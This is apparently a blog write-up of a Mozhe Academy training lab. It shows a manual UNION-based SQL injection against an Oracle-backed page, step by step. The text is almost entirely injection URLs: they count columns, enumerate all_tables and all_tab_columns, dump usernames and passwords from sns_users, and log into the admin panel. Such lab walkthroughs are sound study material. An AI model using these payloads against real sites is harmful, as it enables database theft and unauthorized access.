墨者学院-SQL手工注入漏洞测试(Oracle数据库)

墨者学院-SQL手工注入漏洞测试(Oracle数据库)

前言

  靶场地址:https://www.mozhe.cn/bug/detail/M2dRRXJqN3RqWnhvTGRTK1JJdjk5dz09bW96aGUmozhe

 

正文

  进入靶场环境

http://219.153.49.228:43137/new_list.php?id=1 order by 2 -- +

  测试发现,共有两个栏目

http://219.153.49.228:43137/new_list.php?id=-1 union select '1','2' from dual -- +

  判断回显

  我们需要的是用户的账号密码,因此直接查找存在users字样的表名

http://219.153.49.228:43137/new_list.php?id=-1 union select (select table_name from all_tables where rownum=1 and table_name like '%user%'),'null' from dual

   得出表名为sns_users

  查看列名

http://219.153.49.228:43137/new_list.php?id=-1 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'null' from dual

http://219.153.49.228:43137/new_list.php?id=-1 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'null' from dual

  获取数据

http://219.153.49.228:43137/new_list.php?id=-1 union select user_name,user_pwd from "sns_users"

http://219.153.49.228:43137/new_list.php?id=-1 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'

  用第二组密码成功登陆了后台

  获得KEY

posted @ 2021-11-24 15:20  小小小怪将军  阅读(384)  评论(0编辑  收藏  举报